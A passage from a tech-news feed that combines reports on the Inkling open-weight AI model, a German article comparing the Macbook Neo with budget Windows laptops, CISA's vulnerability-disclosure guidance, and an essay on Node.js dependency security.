“Enterprises are most likely to benefit in workloads where domain adaptation matters more than generic model performance, including knowledge-intensive copilots, multimodal customer service, document understanding, operational workflow automation, and agentic tasks that require organization-specific data, policies, and processes,” Mahapatra said.  



Inkling’s US origin could also influence adoption among Western enterprises, according to Pareekh Jain, CEO of Pareekh Consulting. He said many Western organizations face regulatory or procurement barriers when considering Chinese-developed AI models.



“Inkling gives those organizations a US-developed open-weight option that they can deploy on their own infrastructure,” Jain said.



However, the benefits will need to be weighed against the cost of deploying the full model.



Running Inkling on private infrastructure requires a GPU cluster with at least 2 TB of aggregated VRAM for the BF16 checkpoint, according to the model card. Thinking Machines lists configurations of eight Nvidia B300 GPUs or 16 H200 GPUs. A quantized NVFP4 checkpoint lowers the requirement to at least 600 GB and can run on four B300 GPUs or eight H200 GPUs.



“Because Inkling is a massive model with 975 billion total parameters, running the full model still requires significant GPU infrastructure, making closed-model APIs more economical for many organizations,” Jain said.



Jain said Inkling-Small may be a more feasible option for many enterprises because it could reduce infrastructure costs and latency while retaining useful performance across key workloads.



Safety and governance



Thinking Machines said it trained Inkling for calibration, instruction following, and resistance to censorship. The company said the model showed “strong patterns of censorship non-compliance” when evaluated by Cognition on its Propaganda and Censorship Eval.



Inkling scored 98.6% on StrongREJECT, which Thinking Machines described as a test of whether models refuse unambiguous harmful requests.



The model’s safety behavior should be retested after an enterprise customizes it, according to Jain. “Model fine-tuning can weaken safety filters, so companies should retest safety after customizing the model rather than assuming it stays safe,” Jain said.



He added that self-hosted and modified versions could diverge from Thinking Machines’ official model over time without receiving automatic updates.



“CIOs need to ensure every AI agent action is logged, auditable, and governed by human approval for high-risk tasks,” Jain said.



The article originally appeared on InfoWorld.



Günstige Laptops im Vergleich: Wann sich Windows-Notebooks statt Macbook Neo lohnen
Thu, 16 Jul 2026 13:33:23 +0200





Bis vor kurzem konnten Hersteller von Windows-Rechnern entspannt sein: Obwohl sie aufgrund steigender RAM- und SSD-Preise höhere Preise verlangen müssen, schien es keine Alternative zu geben – denn Apple-Rechner waren noch teurer. Den Preisbereich zwischen 500 und 800 Euro, in dem die meisten Privatkunden-Rechner verkauft werden, hatten Windows-PCs und -Notebooks für sich allein – abgesehen von einem sehr kleinen Marktanteil für Chromebooks.



Dass es auch gute und alltagstaugliche Laptops für unter 500 Euro gibt, zeigt unsere Zusammenstellung mit neuen und generalüberholten Geräten.



Auftritt Macbook Neo. Das Apple-Notebook kostete zum Marktstart im März 2026 überraschend günstige 699 Euro, mit besserer Ausstattung 799 Euro. Seit Ende Juni 2026 sin die Modelle rund 100 Euro teurer – Apple begründet das mit den drastisch gestiegenen Preisen für Arbeitsspeicher und Flash-Speicher infolge der globalen KI-bedingten Speicherkrise, von der auch andere Hersteller betroffen sind.



Trotzdem bleibt es mit rund 1,23 Kilogramm gut geeignet für unterwegs: Das macht es vor allem attraktiv für Schüler und Studenten – einer Zielgruppe, die sich wahrscheinlich ihr erstes Notebook kauft und der das Neo einen vergleichsweise günstigen Einstieg in die Apple-Welt bietet.



Es besitzt ein hochwertiges Aluminium-Gehäuse, ein hochauflösendes Display und ist mit rund 1,23 Kilogramm gut geeignet für unterwegs: Das macht es vor allem attraktiv für Schüler und Studenten – einer Zielgruppe, die sich wahrscheinlich ihr erstes Notebook kauft und der das Neo einen sehr günstigen Einstieg in die Apple-Welt bietet.


Eugen Wegmann



Die Windows-Konkurrenz reagiert geschockt – was zum Beispiel der Finanzchef von Asus in einer Analystenkonferenz offen zugibt: Echte Alternativen zum Macbook Neo mit Windows 11 sind rar.



Allerdings: Das Macbook Neo ist trotz des günstigen Preises kein Notebook für jeden Anwender. Wer zum Beispiel einen Laptop mit größerem Display sucht, der vorwiegend am Schreibtisch zum Einsatz kommen soll, findet in der Windows-Welt besser ausgestattete Modelle, die sich zudem aufrüsten lassen.



Wir erklären, was das Macbook Neo so attraktiv macht, welche Windows-Notebooks mithalten können und wo schwerwiegende Nachteile des günstigen Apple-Modells liegen, die Sie bei einem Laptop mit Windows nicht in Kauf nehmen müssen.



Apples Preisbrecher Macbook Neo



Apple hat das günstige Macbook zunächst zum richtigen Zeitpunkt auf den Markt gebracht: Andere Hersteller mussten die Preise für ihre Notebooks bereits Monate zuvor erhöhen, weil RAM und SSD deutlich teurer geworden sind – der Anteil der Speicherkomponenten an den Materialkosten eines Laptops hat sich dadurch auf rund 30 Prozent verdoppelt.



Apple sicherte sich hingegen durch langfristige Lieferverträge und hohe Vorauszahlungen RAM und SSDs zunächst zu verhältnismäßig günstigen Einkaufspreisen und konnte die Startpreise von 699 respektive 799 Euro deshalb länger halten als die Konkurrenz. Ende Juni 2026 holte die globale Speicherkrise aber auch Apple ein: Der Konzern erhöhte die Preise für nahezu die gesamte Mac-Reihe. Das Macbook Neo kostet seither 799 Euro in der Basisversion und 899 Euro mit 512 GB Speicher und Touch ID – jeweils 100 Euro mehr als zuvor. Apple begründete den Schritt mit einem außergewöhnlichen Anstieg der Komponentenpreise, dem sich der Konzern nicht länger entziehen könne.



Zudem bringen die meisten Hersteller Notebooks mit den neuen Prozessoren von AMD, Intel und Qualcomm erst jetzt auf den Markt – deutlich später als geplant. Viele dieser Modelle kosten außerdem deutlich über 1.000 Euro und bieten daher keine Preis-Alternative zum Macbook Neo. Ob es bald aktuelle Alternativen mit Windows geben wird, lesen Sie im Kasten „Wildcat Lake: Die CPU für günstige Windows-Notebooks”.



Apple nutzt dagegen mit dem A18 Pro einen eigenen Prozessor, der fürs iPhone 16 Pro von 2024 gefertigt wurde und dessen Restbestände jetzt ins Macbook Neo kommen. Zudem ist Apple wohl weniger auf Profite durch den Verkauf des Notebooks angewiesen, sondern setzt darauf, dass Käufer anschließend kostenpflichtige Apple-Dienste wie iCloud, Apple Music und Apple TV erwerben.


Apple Inc



Nicht zuletzt spielt für einige Windows-Nutzer das Support-Ende von Windows 10 eine Rolle beim Kauf eines neuen Rechners: Der reguläre Support ist im Oktober 2025 ausgelaufen, kostenlose Sicherheitsupdates für Privatnutzer hat Microsoft im Sommer 2026 aber überraschend bis Oktober 2027 verlängert. Das Macbook Neo macht die Abkehr von Windows und den Umstieg auf MacOS trotzdem attraktiver – besonders für jüngere Kunden, auch wenn der Preisvorteil durch die jüngste Erhöhung etwas geschrumpft ist.



In den USA gilt das neue Apple-Macbook als Alternative zu den Chromebooks, die in dieser Zielgruppe beliebt sind. Aber auch in Deutschland dürfte Apple darauf hoffen, dass viele Jüngere ein iPhone haben und ihnen daher der Systemwechsel auch beim Rechner wenig Probleme macht – und sie das Neo so überzeugt, dass sie später als gutverdienende Berufstätige teurere Macbooks kaufen werden.



Vorteil Apple: Das macht das Macbook Neo attraktiv



Natürlich bekommen Sie für 700 bis 900 Euro auch ein Notebook mit Windows 11: Das Macbook Neo unterscheidet sich aber teilweise deutlich von der Windows-Konkurrenz in dieser Preisklasse – positiv wie negativ. Ob Sie das Apple-Notebook einem Windows-Laptop vorziehen sollten, hängt daher vor allem davon ab, wie wichtig dessen Vor- und Nachteile für Ihren gewünschten Einsatzzweck sind.


Foundry



Das Macbook Neo nutzt ein sehr stabiles Aluminiumgehäuse: Das sieht elegant aus und schützt das leichte und kompakte Notebook beim Transport in Tasche oder Rucksack. Die meisten Windows-Notebooks dieser Preisklasse setzen dagegen auf Gehäuse, die komplett aus Kunststoff gefertigt sind oder Aluminium nur für einzelne Teile wie den Deckel nutzen. Zudem gibt es das Apple-Notebook nicht wie die meisten Windows-Konkurrenten nur im Farbton Silber, sondern auch in Rosa, Zitrus-Gelb und Indigo-Blau.



Ein klarer Ausstattungsvorteil ist das hochwertige Display: Es bietet eine bessere Auflösung und Bildqualität als die meisten Windows-Notebooks aus derselben Preisklasse. Das 13-Zoll-Display des Neo zeigt 2.408 × 1.506 Pixel, was eine Punktedichte von 219 ppi ergibt. Der Bildschirm eines preislich vergleichbaren Windows-Laptops zeigt 1.920 × 1.200 Pixel, was im besten Fall für eine Punktedichte von 162 ppi reicht.


Eugen Wegmann



Aufgrund der schärferen und detailreicheren Darstellung ist das Neo-Display besser geeignet für Bildbearbeitung und für Anwender, die häufig mit Text und Tabellen arbeiten. Wollen Sie ein Notebook dagegen fürs Web-Surfen, E-Mail-Schreiben oder Video-Wiedergabe in Full-HD nutzen, genügen die Windows-Geräte.



Auch die Bildqualität spricht für das Macbook: Es bietet eine Helligkeit von 500 cd/qm2 und eine sRGB-Farbraumabdeckung von über 90 Prozent, während Windows-Notebooks nur auf rund 300 cd/qm2 und 60 Prozent sRGB-Abdeckung kommen. Für die übliche Office-Arbeit und Internet-Recherche in gut beleuchteten Innenräumen lassen sich beide Geräteklassen sinnvoll einsetzen – das Helligkeitsplus des Neo verschafft ihm Vorteile bei der Foto- und Video-Bearbeitung und -Wiedergabe.



Beim Einsatz draußen unter freiem Himmel und Sonnenlicht hilft dem Macbook einerseits die höhere Helligkeit, andererseits können Reflexionen auf der spiegelnden Display-Oberfläche stören. Denen entgehen Sie bei einem Windows-Notebook mit entspiegeltem Display, sodass es trotz der geringeren Helligkeit draußen besser lesbar ist.



Die bessere sRGB-Abdeckung macht die Video- und Foto-Wiedergabe beim Neo deutlich lebendiger. Außerdem ist sie die Basis für sinnvolle Multimedia-Bearbeitung – selbst, wenn es nicht um Profi-Fotos, sondern nur um Schnappschüsse für Social Media geht. Bei Office und Surfen macht der kleinere Farbraum dagegen keinen Unterschied, sodass Sie für diesen Einsatzzwecke zu einem Windows-Notebook greifen können.



Wo günstige Windows-Notebooks besser sind



Ein Nachteil des Macbook Neo ist die spartanische Hardware-Ausstattung: Es bietet nur 8 GB RAM und eine 256 GB große SSD. Außerdem lassen sich weder Arbeitsspeicher noch Laufwerk erweitern oder gegen ein größeres Modell austauschen, weil beide Komponenten aufgelötet sind. Wer mehr Speicherplatz (512 GB) benötigt, muss beim Neo gleich zum teureren 899-Euro-Modell greifen.



8 GB RAM mag für aktuelle Standard-Programme und -Aufgaben noch ausreichen – auch, weil Hardware, Betriebssystem und Anwendungen bei Apple besser aufeinander abgestimmt als bei Windows-Notebooks. Doch wer in einigen Jahren aufrüsten will, um das Notebook noch länger mit praxistauglicher Geschwindigkeit nutzen zu können, hat beim Neo keine Chance.



Bei Windows-Notebooks können Sie dagegen meist den Arbeitsspeicher erweitern, die SSD immer. Nur besonders kleine und leichte Geräte mit 13- oder 14-Zoll-Display nutzen wie das Macbook Neo aufgelöteten LPDDR-Speicher. Hier lässt sich das RAM ebenso wenig austauschen wie bei Copilot-Plus-PCs mit einem Intel Core 200V oder einem Snapdragon-Prozessor. Die meisten größeren Notebooks mit anderen Prozessoren nutzen dagegen wechselbares DDR5-RAM.



Die NVMe-SSD sitzt in einem M.2-Steckplatz und lässt sich gegen ein Modell mit mehr Kapazität tauschen. Hier müssen Sie beim Upgrade lediglich auf die passende Länge achten – zum Beispiel 2280 oder 2242.



Auch mit Anschlüssen ist das Apple-Notebook schlecht ausgestattet: Neben einer Audio-Buchse verfügt es nur über zwei Typ-C-Ports. Einer bietet Datenraten für USB 3.2 Gen 2 (10 Gbit/s) und erlaubt den Anschluss eines externen Monitors mit 4K-Auflösung. Der andere liefert nur USB-2.0-Tempo und eignet sich daher vor allem für eine externe Maus.



Günstige Windows-Notebooks haben daher meist mehr und bessere Anschlüsse: Selbst bei vielen Modellen in der Größe des Macbook Neo finden Sie zwei Typ-C-Ports mit 10 oder 5 GBit/s sowie zusätzlich USB-Typ-A für ältere oder langsamere Peripherie. Außerdem ist fast immer ein HDMI-Ausgang für einen externen Monitor vorhanden. Je größer das Notebook, desto mehr Anschlüsse hat es: Bei 15- oder 16-Zoll-Modellen gibt es deswegen oft zusätzliche USB-Typ-C oder Typ-B-Anschlüsse, den besonders flexiblen Typ-C mit Thunderbolt 4 finden Sie aber meist nur in teureren Geräten mit einem Intel-Prozessor.



Die Tastatur des Macbook hat keine Beleuchtung, eine biometrische Anmeldung gibt es nur im teureren Modell mit dem Touch-ID-Fingersensor im Einschaltknopf. Bei Windows-Notebooks sind dagegen hintergrundbeleuchtete Tastaturen auch in günstigen Preisklassen inzwischen Standard ebenso biometrische Anmelde-Hardware: Allerdings kommt dafür häufiger die Gesichtserkennung über eine Kamera für Windows-Hello als ein Fingersensor.



Weitere Nachteile des Macbook Neo fallen höchstens Nutzern von teureren Apple-Notebooks auf: Merkmale wie ein haptisches Touchpad, der Mag-Safe-Ladeanschluss oder das TrueTone-Display, Farbtemperatur und Helligkeit ans Umgebungslicht anpasst, sind auch bei Windows-Notebooks dieser Preisklasse kaum vorhanden.



700-Euro-Notebook: Vergleich der Rechenleistung



Auch ein sehr günstiges Notebook sollte genug Rechenleistung für Standardaufgaben wie Internet, Office, Video-Streaming und alltägliche Fotobearbeitung bieten. Beim Macbook Neo will das der 2024 vorgestellte Smartphone-Prozessor Apple A18 Pro mit sechs Kernen garantieren. Kompakte Windows-Notebooks aus der gleichen Preisklasse setzen häufig den Intel Core Ultra 5 120U ein, größere Modelle einen Intel Core i5-13420H. Beide basieren im Grunde auf der Alder-Lake-Architektur der 12. Core-Generation von 2022. Neuere CPUs von Intel finden sich erst in Notebooks für 800 Euro oder mehr. Aktuellere Prozessoren in der Preisklasse von 600 bis 700 Euro gibt es in Laptops mit Windows ARM: Sie nutzen einen Qualcomm Snapdragon X1-26-100 von 2025.



Für Standardaufgaben sind diese Prozessoren alle schnell genug: Das Macbook Neo hat aber Vorteile aufgrund der höheren Einzelkern-Leistung des A18 Pro. Nur bei Anwendungen, die mehrere Kerne auslasten, schneiden die Intel- und vor allem die Snapdragon-Modelle besser ab. Bei Standardaufgaben ist das allerdings nur selten der Fall, zum Beispiel wenn Sie Videodateien in ein anderes Format umwandeln, Dateien komprimieren oder mit sehr großen Excel-Tabellen und vielen Formeln arbeiten. Um bei einem Windows-Notebook ein arbeitstaugliches Praxistempo zu erreichen, sollten Sie daher unbedingt ein Modell mit 16 GB Arbeitsspeicher wählen.



Anwender, die ständig auf eine hohe Leistung angewiesen sind – zum Beispiel für aufwändige Video- und Fotobearbeitung, beim Programmieren oder für lokale KI-Anwendungen – finden in dieser Preisklasse aber bei keinem Anbieter passenden Geräte. Das gleiche gilt für Spieler.



Für konzentriertes Arbeiten ist das Macbook Neo optimal: Es hat keinen Lüfter. In Windows-Notebooks sind dagegen immer ein oder zwei Lüfter eingebaut, die abhängig von der Systemlast hörbar sind.



Auch bei der Akkulaufzeit erfüllt das Macbook Neo Standarderwartungen: Es hält auf jeden Fall einen Arbeitstag durch – je nach Einsatzzweck liegt die Laufzeit in der Praxis zwischen 13 und 16 Stunden. Viele Windows-Notebooks in dieser Preisklasse übertreffen diese Werte um ein paar Stunden, vor allem Laptops mit einem Snapdragon-Prozessor. Denn sie nutzen Akkus mit einer deutlich höheren Kapazität als die 36,5 Wattstunden (Wh) des Macbook-Akkus. Suchen Sie einen Windows-Laptop mit hoher Ausdauer, sollten Sie ein Modell mit einer Akkukapazität von 65 Watt oder höher wählen.



Das bieten günstige Windows-Notebooks



Es gibt kein einzelnes Windows-Notebook, das in dieser Preisklasse besser ist als das Gesamtpaket, dass das Macbook Neo bietet als solide verarbeitetes, ultramobiles Leichtgewicht mit Top-Display. Doch wenn Sie innerhalb dieses Budgets andere Schwerpunkte setzen, finden Sie einige empfehlenswerte Windows-Alternativen. Wir beschränken uns bei den Empfehlungen auf praxistauglich ausgestatten Modelle mit 16 GB RAM und einer 512 GB großen SSD. Details sind in der Tabelle „Günstige Windows-Notebooks“ aufgeführt.



Wichtig: Derzeit schwanken die Preise in dieser Geräteklasse besonders stark – durch Rabattaktionen oder Erhöhungen nach Redaktionsschluss können die in der Tabelle angegebenen Preise sich zwischenzeitlich deutlich verändert haben.



Eine besonders große Auswahl gibt es bei Notebooks mit einem 15,6- oder 16-Zoll-Display, die sich als stationärer Rechner am Schreibtisch nutzen lassen. Zusätzlich zur größeren Bildschirmfläche haben sie zahlreiche Schnittstellen. Allerdings wiegen sie meist mehr als 1,7 Kilogramm und haben einen verhältnismäßig kleinen Akku: Deshalb lassen sich diese Laptops höchstens innerhalb der Wohnung mobil einsetzen.



Im Preisbereich zwischen 500 und 700 Euro finden Sie derzeit oft ältere Business-Modelle, da diese Notebooks länger verfügbar sind als Laptops für Privatkunden – zum Beispiel das Acer Extensa 15, das Asus Expertbook P1 und das Dell Pro 15 Essential.



Vor allem für günstigere Modelle aus der 600-Euro-Klasse wie das HP 250R G10 oder das Lenovo Ideapad Slim 16 gelten die oben genannten Konstruktionsnachteile wie ein Kunststoffgehäuse – was aber weniger wichtig ist, wenn Sie das Notebook überwiegend stationär nutzen.


Foundry mit Material von Amazon



Notebooks mit einer Auflösung über Full-HD gibt es in dieser Preisklasse kaum: Das einzige Modell mit dieser Ausstattung ist der 14-Zoll-Laptop Medion Signium 14 S1.


Foundry mit Material von Amazon



Einen farbstarken OLED-Bildschirm gibt es im Angebot für unter 700 Euro bei Windows-ARM-Notebooks mit dem Snapdragon X1-26-100: Das Acer Aspire 14 AI, das HP Omnibook 5 AI 14 oder das Lenovo Ideapad Slim 5 sind mit einem Gewicht zwischen 1,3 und 1,5 Kilogramm zudem ähnlich mobil wie das Macbook Neo.


Foundry mit Material von Amazon



Außerdem erfüllen sie als Copilot-Plus-PC Microsofts Vorgaben an die lokale KI-Leistung, was sie für diesen Einsatzzweck zukunftssicher macht – auch weil diese Notebooks mindestens 16 GB RAM haben müssen. Auf x86-Basis gibt es nur wenige Copilot-Plus-PCs in dieser Preisklasse – sie nutzen wie das HP Omnibook 3 15 meist einen AMD Ryzen AI 5 330.



KI-taugliche Notebooks mit einem Intel-Prozessor kosten deutlich über 700 Euro: Ein Schnäppchen-Kandidat mit dieser Ausstattung ist das Acer Aspire 14 AI.




Wildcat Lake: Die CPU für günstige Windows-Notebooks



Hersteller günstiger Windows-Notebooks stehen unter Druck: Um preislich mit dem Apple Macbook Neo konkurrieren zu können, greifen viele Anbieter bislang auf ältere Intel-Plattformen zurück. Diese bleiben zwar für Office, Web und Alltagsaufgaben ausreichend schnell, laufen aber schrittweise aus oder werden für neue Geräte weniger attraktiv. Die neuen Core-Ultra-300-Prozessoren auf Panther-Lake-Basis sind dagegen eher für höherpreisige Notebooks vorgesehen.



Für günstigere Modelle setzt Intel deshalb auf die Core Series 3 mit dem Codenamen Wildcat Lake. Diese Prozessoren sind unterhalb der Core-Ultra-Serie positioniert und bieten weniger CPU-Kerne, eine kleinere integrierte Grafik und eine deutlich schwächere NPU. Je nach Modell liegt die NPU-Leistung nur bei rund 15 bis 17 TOPS. Für einen Copilot+ PC reicht das nicht, denn Microsoft verlangt dafür mindestens 40 TOPS NPU-Leistung, 16 GB RAM und 256 GB SSD.



Genau das kann für günstige Windows-Notebooks aber zum Vorteil werden: Da Wildcat-Lake-Geräte nicht als Copilot+ PCs antreten, müssen Hersteller nicht zwingend die teurere Copilot+-Mindestkonfiguration erfüllen. Geräte mit 8 GB RAM bleiben dadurch möglich, auch wenn 16 GB Arbeitsspeicher für längere Nutzungsdauer klar empfehlenswerter sind.



In China sind bereits erste Notebooks mit Wildcat-Lake-CPUs wie dem Core 5 320 aufgetaucht, teils zu Preisen im Bereich von rund 500 bis 700 Euro. Ähnliche Geräte dürften auch nach Europa kommen. Ob sie hier ähnlich günstig angeboten werden, hängt aber von Ausstattung, Mehrwertsteuer, Vertrieb und Herstellerpositionierung ab.









Thinking Machines offers enterprises a US alternative in open-weight AI
Thu, 16 Jul 2026 13:04:14 +0200

		
					  
						




Thinking Machines Lab, the San Francisco startup founded by former OpenAI CTO Mira Murati, has released Inkling, its first general-purpose AI model. The launch adds another US-developed entrant to an open-weight market where Chinese developers produce several leading coding and reasoning models.



Inkling uses a mixture-of-experts architecture with 975 billion total parameters, of which 41 billion are active during processing. It supports a context window of up to 1 million tokens and was pretrained on 45 trillion tokens spanning text, images, audio, and video. Thinking Machines said it also trained the model for coding, tool use, and multimodal tasks.



The release follows the October 2025 launch of Tinker, Thinking Machines’ first product and an API-based platform for customizing AI models. Developers can fine-tune Inkling through the platform.



In a June 2026 assessment, AI model routing platform OpenRouter highlighted DeepSeek V4 Flash, GLM 5.2, MiniMax M3, and Nvidia Nemotron 3 Ultra as four notable open-weight models. Nemotron was the only US-developed model in the group.



Performance and developer access



Thinking Machines Lab’s benchmark table shows mixed results. Inkling scored 77.6% on SWE-Bench Verified, behind DeepSeek V4 Pro and GLM 5.2 but ahead of Nvidia Nemotron 3 Ultra. It also recorded 74.1% on MCP Atlas, 77.1% on BrowseComp with context management, and 79.8% on IFBench.



Thinking Machines said Inkling’s result used a bash-only harness, while the comparison figures were reported by the competing models’ developers.



The model includes a reasoning-effort setting that developers can adjust from 0.2 to 0.99. Thinking Machines said the setting allows users to balance performance against the number of generated tokens. In the company’s testing, Inkling matched Nemotron 3 Ultra’s Terminal Bench 2.1 score while generating about one-third as many tokens.



Developers can fine-tune Inkling through Tinker using context lengths of 64,000 or 256,000 tokens and test it through the Inkling Playground. The model is available through APIs from Together AI, Fireworks, Modal, Databricks, and Baseten. It is also supported by inference software, including SGLang, vLLM, TokenSpeed, llama.cpp, and Hugging Face Transformers.



Inkling’s full weights are available on Hugging Face as the original checkpoint and as a quantized NVFP4 checkpoint. Thinking Machines also previewed Inkling-Small, which has 276 billion total parameters and 12 billion active parameters. The company said it would release the smaller model’s full weights after completing testing.



Enterprise impact



Inkling’s differentiation lies in its open weights, multimodal capabilities, controllable reasoning, and integration with Tinker, rather than benchmark leadership, according to Biswajeet Mahapatra, principal analyst at Forrester.



“Enterprises are most likely to benefit in workloads where domain adaptation matters more than generic model performance, including knowledge-intensive copilots, multimodal customer service, document understanding, operational workflow automation, and agentic tasks that require organization-specific data, policies, and processes,” Mahapatra said.  



Inkling’s US origin could also influence adoption among Western enterprises, according to Pareekh Jain, CEO of Pareekh Consulting. He said many Western organizations face regulatory or procurement barriers when considering Chinese-developed AI models.



“Inkling gives those organizations a US-developed open-weight option that they can deploy on their own infrastructure,” Jain said.



However, the benefits will need to be weighed against the cost of deploying the full model.



Running Inkling on private infrastructure requires a GPU cluster with at least 2 TB of aggregated VRAM for the BF16 checkpoint, according to the model card. Thinking Machines lists configurations of eight Nvidia B300 GPUs or 16 H200 GPUs. A quantized NVFP4 checkpoint lowers the requirement to at least 600 GB and can run on four B300 GPUs or eight H200 GPUs.



“Because Inkling is a massive model with 975 billion total parameters, running the full model still requires significant GPU infrastructure, making closed-model APIs more economical for many organizations,” Jain said.



Jain said Inkling-Small may be a more feasible option for many enterprises because it could reduce infrastructure costs and latency while retaining useful performance across key workloads.



Safety and governance



Thinking Machines said it trained Inkling for calibration, instruction following, and resistance to censorship. The company said the model showed “strong patterns of censorship non-compliance” when evaluated by Cognition on its Propaganda and Censorship Eval.



Inkling scored 98.6% on StrongREJECT, which Thinking Machines described as a test of whether models refuse unambiguous harmful requests.



The model’s safety behavior should be retested after an enterprise customizes it, according to Jain. “Model fine-tuning can weaken safety filters, so companies should retest safety after customizing the model rather than assuming it stays safe,” Jain said.



He added that self-hosted and modified versions could diverge from Thinking Machines’ official model over time without receiving automatic updates.



“CIOs need to ensure every AI agent action is logged, auditable, and governed by human approval for high-risk tasks,” Jain said.



CISA urges software vendors to formalize vulnerability disclosure programs
Thu, 16 Jul 2026 12:54:38 +0200

		
					  
						




The Cybersecurity and Infrastructure Security Agency (CISA) and four international cybersecurity agencies have published guidance urging software manufacturers and online service providers to establish coordinated vulnerability disclosure (CVD) programs, saying structured engagement with security researchers can help improve vulnerability management and product security.



Published jointly with the US National Security Agency (NSA), Japan Computer Emergency Response Team Coordination Center (JPCERT/CC), the Netherlands’ National Cyber Security Centre (NCSC-NL), and the UK’s National Cyber Security Centre (NCSC-UK), the guidance, “Establishing a Coordinated Vulnerability Disclosure Program to Work With Security Researchers,” outlines how organizations can build public programs for receiving, assessing, and responding to vulnerability reports involving software, hardware, and network products.



According to the guidance, a well-defined CVD program enables software manufacturers and online service providers to better assess potential risk, improve vulnerability management processes, and make informed decisions that strengthen product security.



CISA said the guidance supports its Secure by Design initiative, which encourages technology providers to build more secure products and take greater responsibility for identifying and remediating vulnerabilities.



“Coordinated vulnerability disclosure is foundational to building a secure software ecosystem,” Chris Butera, CISA’s acting executive assistant director for cybersecurity, said in a statement.



“The practices in this guide help protect customers, strengthen products, and support CISA’s Secure by Design initiative, which encourages companies to be transparent and responsible in how they build and maintain their technology,” Butera said.



Building an effective disclosure program



The guidance recommends that organizations publish a clear vulnerability disclosure policy describing how researchers can report vulnerabilities, what testing activities are permitted, how reports will be handled, and what researchers should expect throughout the assessment process. CISA said maintaining communication with researchers helps keep the process transparent and builds trust between vendors and the security research community.



Piyush Sharma, co-founder and CEO of cybersecurity firm Tuskira, said the guidance addresses a key operational requirement for both researchers and security teams.



“CISA is right to emphasize that vulnerability disclosure requires a clear process,” Sharma said. “Researchers need to know where to report a flaw, while security teams need defined ownership to validate, prioritize, and remediate findings.”



Andrew Costis, engineering manager of the Adversary Research Team at AttackIQ, said establishing a reporting channel is only the beginning of the process.



“Creating a clear path for researchers to report vulnerabilities is a great first step, but the real work starts once that report lands,” Costis said. “Security teams have to understand what the weakness could give an attacker access to and how urgently it needs to be addressed.”



According to CISA, security researchers can help software manufacturers and online service providers identify weaknesses before they are exploited, but only if organizations provide a clear and safe mechanism for reporting vulnerabilities.



Prioritizing vulnerabilities at scale



The guidance comes as AI-assisted vulnerability discovery is increasing the volume of security findings that enterprise security teams must assess and remediate, according to Sharma.



“The challenge is that AI-assisted vulnerability discovery is increasing the volume of disclosures faster than most organizations can manually assess them,” he said.



Sharma said organizations should avoid treating every disclosed vulnerability as equally urgent and instead determine whether a flaw creates a reachable attack path, identify exposed assets, and evaluate whether existing controls can interrupt an attack while remediation is underway.



Costis echoed that view, saying vulnerability management should focus on exploitability rather than severity scores alone.



“Vulnerabilities can’t be treated as isolated findings or prioritized on severity alone,” he said. “Teams need to understand how a weakness connects to the rest of their environment and whether it creates a viable path to critical systems.”



Where patches are unavailable, Sharma said validating compensating controls can significantly reduce enterprise risk until remediation is completed.



Costis said organizations should also verify that remediation has eliminated exploitable attack paths rather than simply confirming that a vulnerability has been patched.



“Closing a ticket is one thing,” he said. “Proving the attack path is broken, and the fix holds against real-world adversary behavior is another.”



Node.js security starts before CI
Thu, 16 Jul 2026 11:04:19 +0200

					  
						




In many teams, dependency security still happens after the most important trust decision has already been made. A package is added, the lockfile changes, the feature moves forward, and only later does the pipeline ask whether the application should have trusted that code in the first place.



That workflow made sense when dependency security was mostly viewed as a compliance check. Run a scanner. Produce a report. Fail the build if the risk crosses a threshold. Let someone decide what to do next.



But the modern Node.js ecosystem has changed. The risk no longer begins in CI. It begins earlier, at the moment a developer decides to trust a package.



That is why the next phase of Node.js security cannot be limited to better pipeline enforcement. It has to move closer to the developer workflow, before dependencies become part of the application, before a pull request becomes someone else’s problem, and before a build log becomes the first moment anyone realizes that something important has changed.



Every install is a trust decision



The npm ecosystem is built on trust at an enormous scale. Every install is a trust decision. Every transitive dependency extends that decision to maintainers, packages, scripts, release pipelines, and infrastructure the application team may never inspect directly. This model gave JavaScript its incredible velocity. It also created one of its deepest security weaknesses.



Recent npm supply chain incidents show why this matters. In March 2026, malicious Axios versions were published to npm through a compromised maintainer account. Microsoft later described how those packages attempted to retrieve a second-stage payload during installation. In May 2026, TanStack published a postmortem explaining that 84 malicious versions across 42 npm packages were published through a legitimate release pipeline after an attacker abused GitHub Actions behavior and runner trust boundaries. Security researchers also reported broader Mini Shai-Hulud activity across the npm ecosystem in May, including hundreds of malicious package versions published in a short period.



Not every one of these incidents is a traditional CVE. Some are malicious package compromises. Some involve CI/CD credential theft. Some involve maintainer or pipeline compromise. But they all point to the same larger issue: dependency risk is now part of everyday software engineering, not something that can be pushed entirely to a downstream security process.



The problem is not the scanner. It is the handoff.



Ubiquitous dependency risk changes what developers need from security tooling.



The problem is not that teams lack scanners. Many organizations already run security checks in CI. The problem is that the output of those checks often arrives too late and speaks the wrong language for the person expected to act on it.



A pull request fails. A long vulnerability report appears. The report may be technically accurate. It may contain the right advisory IDs, affected versions, dependency paths, severity labels, and references. But the developer still has to comb through the output and reconstruct the actual engineering decision from the evidence provided.



That reconstruction is rarely simple. The developer has to understand which package introduced the issue, whether the vulnerable dependency is direct or transitive, whether the fix is actually within the application team’s control, and whether the recommended version is safe to adopt. They also have to determine whether the dependency is used in production or only during development, whether the update might break the application, and whether the fix belongs in the current pull request or requires separate engineering work.



That uncertainty is where security work often slows. The scanner has detected risk, but the developer has not been given a clear path from detection to decision.



Security needs to move closer to engineering judgment



This is not a criticism of scanning. Scanning is necessary. CI enforcement is necessary. Centralized security platforms are necessary. But they are not sufficient, because they often operate after the trust decision has already been made.



The real architectural question is this: where should dependency security live in the software development life cycle?



If it lives only in CI, it becomes an interruption. If it lives only in dashboards, it becomes someone else’s queue. If it lives only in periodic audits, it becomes a backlog. But if it lives at the moment a dependency is introduced, upgraded, or reviewed, it becomes part of engineering judgment.



That shift matters because modern JavaScript development is becoming faster than human review can comfortably handle. Developers no longer add dependencies only by reading documentation and choosing libraries manually. AI coding assistants can suggest packages, generate install commands, modify package files, and rewrite code around third-party APIs. Agentic development workflows can make dependency changes as part of broader automated refactors.



AI makes the trust boundary harder to see



That acceleration is useful. It also changes the risk model.



When a human developer adds one package, the team can review the decision. When a coding agent modifies several dependencies as part of a larger task, the trust boundary becomes harder to see. The package file changes, the lockfile changes, the application still runs, and the pull request may look like a normal feature update. But the real security question may be hidden inside the dependency graph.



This is where Node.js teams need a different mental model.



Dependency adoption should not be treated as a small implementation detail. It should be treated as an architectural decision with security consequences. A new package is not just code reuse. It is a new trust relationship.



